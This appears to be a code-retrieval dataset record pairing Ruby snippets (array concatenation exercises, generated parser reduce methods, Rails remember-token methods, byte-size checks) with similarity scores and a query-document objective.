"def using_concat(array1,array2)\n array1.concat(array2)\nend",
"def _reduce_438(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_439(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_421(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_375(val, _values, result)\n result = val[0].concat(val[2]).concat(val[3])\n \n result\nend",
"def all_additional_substitutions\n (0...length).reject{|pos| pos == left.length }.flat_map{|pos|\n all_additional_substitutions_at_position(pos).to_a\n }.to_h\n end",
"def _reduce_539(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def using_concat(arr_1, arr_2)\n arr_1.concat(arr_2)\nend",
"def _reduce_433(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def array_concat(array_1, array_2)\n # Your code here\n if (array_1.length == 0) || (array_2.length == 0) then return []\n end\n\n array_1.concat(array_2)\n return array_1\nend",
"def array_concat(array_1, array_2)\n\n while array_2.length > 1\n array_1.push {array_2.each do |array_2.length| }\n\n return array_1\n end\n\nend",
"def _reduce_435(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_236(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n\n result\nend",
"def array_concat(array_1, array_2)\n\tarray_1 += array_2\nend",
"def array_concat(array_1, array_2)\n concat = array_1\n i=0\n while array_2.length > i\n array_1.push(array_2[i])\n i+=1\n end\n return concat\nend",
"def _reduce_435(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n\n result\nend",
"def _reduce_136(val, _values, result)\n result << val[1]\n result\nend",
"def _reduce_424(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n\n result\nend",
"def array_concat(array_1, array_2) \nreturn array_1.concat array_2\nend",
"def _reduce_231(val, _values, result)\n warning \"parenthesize argument(s) for future version\"\n result = s(:array, val[0])\n \n result\nend",
"def _reduce_231(val, _values, result)\n warning \"parenthesize argument(s) for future version\"\n result = s(:array, val[0])\n \n result\nend",
"def _reduce_231(val, _values, result)\n warning \"parenthesize argument(s) for future version\"\n result = s(:array, val[0])\n \n result\nend",
"def _reduce_249(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_249(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_249(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_268(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def using_concat(array_1,array_2)\n array_1.concat(array_2)\nend",
"def _reduce_263(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_263(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_263(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_664(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def __splat(x) end",
"def custConcat(arr1, arr2)\n # return arr1 with all of the elements from arr2 \n # added to the end of it\n arr1.concat(arr2)\nend",
"def array_concat(array_1, array_2)\n array_1.push(*array_2) \nend",
"def _reduce_259(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_553(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def array_concat(array_1, array_2)\n array_2.each do |x|\n array_1.push x\n end\n return array_1\nend",
"def _reduce_248(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def inst_custom_union(arr1, arr2)\n arr1.dup.concat(arr2).uniq # yes thats really it!!\nend",
"def using_concat(array1, array2)\n \n array1.concat(array2)\n\nend",
"def concat(arr, arr2)\n return arr + arr2\nend",
"def array_joiner( *arr)\n p arr\n array = [] \n array << arr\n array.flatten.flatten\n\nend",
"def array_concat(array_1, array_2)\n\tif array_1.length == 0 && array_2.length == 0\n\t\treturn []\n\tend\n\ti = 0\n\twhile i < array_2.length\n\t\tarray_1.push(array_2[i])\n\t\ti+=1\n\tend\n return array_1\nend",
"def concat(array, array2)\n return array + array2\nend",
"def _reduce_423(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_260(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def array_concat(array_1, array_2)\n # Your code here\n if ((array_1 == []) && (array_2 == []))\n \treturn []\n else\n \tarray_2.each do |element_2|\n \t\tarray_1.push(element_2)\n \tend\n end\n return array_1\nend",
"def _reduce_251(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_251(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_251(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def mutliplied(array)\nend",
"def _reduce_241(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_241(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_241(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_241(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_241(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def array_concat(array_1, array_2)\n array_2.each { |x| array_1.push(x) }\n return array_1\nend",
"def test_concatonation_6\n find = Finder.new\n arr = []\n arr3 = find.concatonation(arr)\n assert_equal arr3, []\n end",
"def _reduce_542(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def array_concat(array_1, array_2)\n\treturn (array_1 << array_2).flatten\nend",
"def array_concat(array_1, array_2)\n # Your code here\n # Initial solution\n=begin\n array_3 = []\n array_1.each do |n| \n array_3.push n\n end\n array_2.each do |m|\n array_3.push m\n end\n return array_3\nend\n=end\n # Refactored solution\n return array_1.concat array_2\nend",
"def _reduce_249(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n\n result\nend"
] |
[
"0.5730106",
"0.5730106",
"0.55782104",
"0.5529614",
"0.54826456",
"0.545956",
"0.5444197",
"0.5410616",
"0.540616",
"0.5386105",
"0.53745484",
"0.5369115",
"0.53345084",
"0.530982",
"0.5296657",
"0.52901864",
"0.5286392",
"0.5264868",
"0.5262225",
"0.5262225",
"0.5262225",
"0.5261249",
"0.5260521",
"0.5252504",
"0.52403456",
"0.52347213",
"0.5233738",
"0.52234155",
"0.5218484",
"0.5216281",
"0.5213842",
"0.5212492",
"0.520845",
"0.518837",
"0.51872605",
"0.51872605",
"0.5186179",
"0.5186179",
"0.51839095",
"0.5182633",
"0.51744354",
"0.5168321",
"0.516031",
"0.51582026",
"0.51526517",
"0.51511425",
"0.51452166",
"0.51347816",
"0.51299214",
"0.51277184",
"0.5127107",
"0.5123943",
"0.5120363",
"0.5111862",
"0.51104575",
"0.51084507",
"0.5106627",
"0.5106627",
"0.5106627",
"0.5106416",
"0.5106416",
"0.5106416",
"0.5106027",
"0.51048565",
"0.51040834",
"0.51040834",
"0.51040834",
"0.5099132",
"0.5098796",
"0.5094203",
"0.50941235",
"0.50919944",
"0.5086611",
"0.50857955",
"0.50778204",
"0.5076807",
"0.50753725",
"0.5074704",
"0.5074422",
"0.5072449",
"0.507144",
"0.5070691",
"0.5066262",
"0.50600475",
"0.50540936",
"0.50540936",
"0.50540936",
"0.50529313",
"0.50513977",
"0.50513977",
"0.50513977",
"0.50513977",
"0.50513977",
"0.50501263",
"0.5049782",
"0.50485873",
"0.5047352",
"0.504717",
"0.5046914"
] |
0.5089298
|
73
|
def User.new_token SecureRandom.urlsafe_base64 end def remember self.remember_token = ... update_attribute(:remember_digest, ...) end
|
def to_s
"#{imie} #{nazwisko}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remember\n self.remember_token = User.new_token \n update_attribute(:remember_digest, User.digest(remember_token)) \n end",
"def remember\nself.remember_token = User.new_token\nupdate_attribute(:remember_digest, User.digest(remember_token))\nend",
"def remember\nself.remember_token = User.new_token\nupdate_attribute(:remember_digest, User.digest(remember_token))\nend",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\nend",
"def remember\n\tself.remember_token = User.new_token\n\tupdate_attribute(:remember_digest, User.digest(remember_token))\nend",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n\n end",
"def remember\n self.remember_token = User.newtoken\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest,User.digest(remember_token))\n end",
"def remember\n self.remember_token=User.new_token\n update_attribute(:remember_digest,User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n # digest remember_token which is created from base64 library\n # -> update vao cai thang remember_digest!!!\n # noi chung la cu phai tu tu moi hieu het duoc !!!\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token=User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_token_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n # Writes token to db\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n # encrypt remember_token and save it in :remember_digest field in db\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember #this is also called a user.remember method\n self.remember_token = User.new_token #save the generated token into a class variable called remember_token, accessible in the whole User class with attr_accessor\n update_attribute(:remember_digest, User.digest(remember_token)) #to update the database we use the remember token that has been generated, encrypt it with digest method, then save to database\n end",
"def remember\n self.remember_token = User.new_token\n self.update_attribute :remember_digest, User.digest(remember_token)\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute :remember_digest, (User.digest self.remember_token)\n end",
"def remember\n self.remember_token = User.new_token # message new string which is like a token\n update_attributes(remember_digest: User.digest(remember_token)) # save a hash of the token above in the DB\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute :remember_digest, User.digest(remember_token)\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute :remember_digest, User.digest(remember_token)\n end",
"def remember\n #remember_token is virtual\n #actually, there is no remember_token attribtue in User model\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = User.new_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end"
] |
[
"0.92444545",
"0.9211045",
"0.9211045",
"0.91980106",
"0.91959894",
"0.9177927",
"0.915029",
"0.915029",
"0.91297615",
"0.91229194",
"0.9120655",
"0.9118347",
"0.9118347",
"0.9118347",
"0.9118347",
"0.9114695",
"0.9111821",
"0.91075927",
"0.9104054",
"0.9102374",
"0.91023505",
"0.90902925",
"0.9088628",
"0.9087326",
"0.90817046",
"0.90815467",
"0.90815467",
"0.90782005",
"0.90704304",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516",
"0.9069516"
] |
0.0
|
-1
|
Returns true if this type is always going to have at least as many bytes as another type on all systems we care about. If you use this fact, you should probably emit an assumption to test it.
|
def as_many_bytes_as?(other)
type_id.abs >= other.type_id.abs # TODO: use possible_byte_sizes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def more_bytes_than?(other)\n possible_byte_sizes.min > other.possible_byte_sizes.max\n end",
"def bytes?\n type == \"BYTES\"\n end",
"def have?(length)\n return length <= @buffer.bytesize \n end",
"def expected_length?(length)\n expected == length\n end",
"def size_exhausted?\n @size >= (MAX_BYTES - Defaults::Metric::MAX_BYTES)\n end",
"def is_full()\n @current_size == @max_size\n end",
"def is_full()\n @current_size == @max_size\n end",
"def full?\n self.count == self.max_space\n end",
"def same_byte_length?(hash1, hash2)\n hash1.to_s.length == hash2.to_s.length\n end",
"def file_can_fit?(bytes)\n (self.filesize + bytes) < SitemapGenerator::MAX_SITEMAP_FILESIZE && self.link_count < SitemapGenerator::MAX_SITEMAP_LINKS\n end",
"def size?() end",
"def file_size_under_one_mb\n num_bytes = 1_048_576\n if @file && @file.size.to_f > num_bytes\n errors.add(:file, 'File size cannot be over one megabyte.')\n end\n true\n end",
"def size_exhausted?\n @json_size >= (MAX_BYTES - Defaults::Message::MAX_BYTES)\n end",
"def check_allowed_bytesize(v, max)\n end",
"def test_004_length()\n TestVals.each do |sVal|\n #\n # The length() method returns either the size of a bounded\n # bitstring, or the number of digits from the most significant\n # 1.\n #\n uLength = sVal.sub(/^0+(.)/, '\\1').length\n bLength = sVal.length\n bs = BitString.new(sVal)\n assert_equal(uLength,\n bs.length,\n \"Test unbounded '#{sVal}'.length => #{uLength}\")\n #\n # Now do the same check for the bounded version.\n #\n bs = BitString.new(sVal, sVal.length)\n bLength = sVal.length\n assert_equal(bLength,\n bs.length,\n \"Test bounded '#{sVal}'.length => #{bLength}\")\n end\n end",
"def can_make_new?(current_size)\n if @max_size > current_size\n @size[0] += 1\n end\n end",
"def whole_reg?\n size == parent.size\n end",
"def aligned_ok(size)\n (size & (2 * size_t - 1)).zero?\n end",
"def same_length?\n @first.length == @second.length\n end",
"def verify_fields(fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + currency.fbe_size) > fbe_struct_size\n return true\n end\n unless currency.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += currency.fbe_size\n\n if (fbe_current_size + amount.fbe_size) > fbe_struct_size\n return true\n end\n unless amount.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += amount.fbe_size\n\n true\n end",
"def expected_length?\n formatted_number.length == 16 ||\n formatted_number.length == 17\n end",
"def is_big_enough_to_store_message?(message)\n msg_a = Image::get_message_as_binary_array_with_leading_zeros(message)\n msg_a.length <= @width*@height\n end",
"def plausible? rest, size, hints = {}\n true\n end",
"def full?\n return (@fill_count == size)\n end",
"def bytes?(object)\n object.kind_of?(Fixnum) && object >= 0x00 && object <= 0xFF\n end",
"def valid_length?(length)\n expected == length\n end",
"def indexable?\n size <= 256\n end",
"def verify_fields(fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + byte0.fbe_size) > fbe_struct_size\n return true\n end\n unless byte0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte0.fbe_size\n\n if (fbe_current_size + byte1.fbe_size) > fbe_struct_size\n return true\n end\n unless byte1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte1.fbe_size\n\n if (fbe_current_size + byte2.fbe_size) > fbe_struct_size\n return true\n end\n unless byte2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte2.fbe_size\n\n if (fbe_current_size + byte3.fbe_size) > fbe_struct_size\n return true\n end\n unless byte3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte3.fbe_size\n\n if (fbe_current_size + byte4.fbe_size) > fbe_struct_size\n return true\n end\n unless byte4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte4.fbe_size\n\n if (fbe_current_size + byte5.fbe_size) > fbe_struct_size\n return true\n end\n unless byte5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += byte5.fbe_size\n\n if (fbe_current_size + char0.fbe_size) > fbe_struct_size\n return true\n end\n unless char0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char0.fbe_size\n\n if (fbe_current_size + char1.fbe_size) > fbe_struct_size\n return true\n end\n unless char1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char1.fbe_size\n\n if (fbe_current_size + char2.fbe_size) > fbe_struct_size\n return true\n end\n unless char2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char2.fbe_size\n\n if (fbe_current_size + char3.fbe_size) > fbe_struct_size\n return true\n end\n unless char3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char3.fbe_size\n\n if (fbe_current_size + char4.fbe_size) > fbe_struct_size\n return true\n end\n unless char4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char4.fbe_size\n\n if (fbe_current_size + char5.fbe_size) > fbe_struct_size\n return true\n end\n unless char5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += char5.fbe_size\n\n if (fbe_current_size + wchar0.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar0.fbe_size\n\n if (fbe_current_size + wchar1.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar1.fbe_size\n\n if (fbe_current_size + wchar2.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar2.fbe_size\n\n if (fbe_current_size + wchar3.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar3.fbe_size\n\n if (fbe_current_size + wchar4.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar4.fbe_size\n\n if (fbe_current_size + wchar5.fbe_size) > fbe_struct_size\n return true\n end\n unless wchar5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wchar5.fbe_size\n\n if (fbe_current_size + int8b0.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b0.fbe_size\n\n if (fbe_current_size + int8b1.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b1.fbe_size\n\n if (fbe_current_size + int8b2.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b2.fbe_size\n\n if (fbe_current_size + int8b3.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b3.fbe_size\n\n if (fbe_current_size + int8b4.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b4.fbe_size\n\n if (fbe_current_size + int8b5.fbe_size) > fbe_struct_size\n return true\n end\n unless int8b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int8b5.fbe_size\n\n if (fbe_current_size + uint8b0.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b0.fbe_size\n\n if (fbe_current_size + uint8b1.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b1.fbe_size\n\n if (fbe_current_size + uint8b2.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b2.fbe_size\n\n if (fbe_current_size + uint8b3.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b3.fbe_size\n\n if (fbe_current_size + uint8b4.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b4.fbe_size\n\n if (fbe_current_size + uint8b5.fbe_size) > fbe_struct_size\n return true\n end\n unless uint8b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint8b5.fbe_size\n\n if (fbe_current_size + int16b0.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int16b0.fbe_size\n\n if (fbe_current_size + int16b1.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int16b1.fbe_size\n\n if (fbe_current_size + int16b2.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int16b2.fbe_size\n\n if (fbe_current_size + int16b3.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n 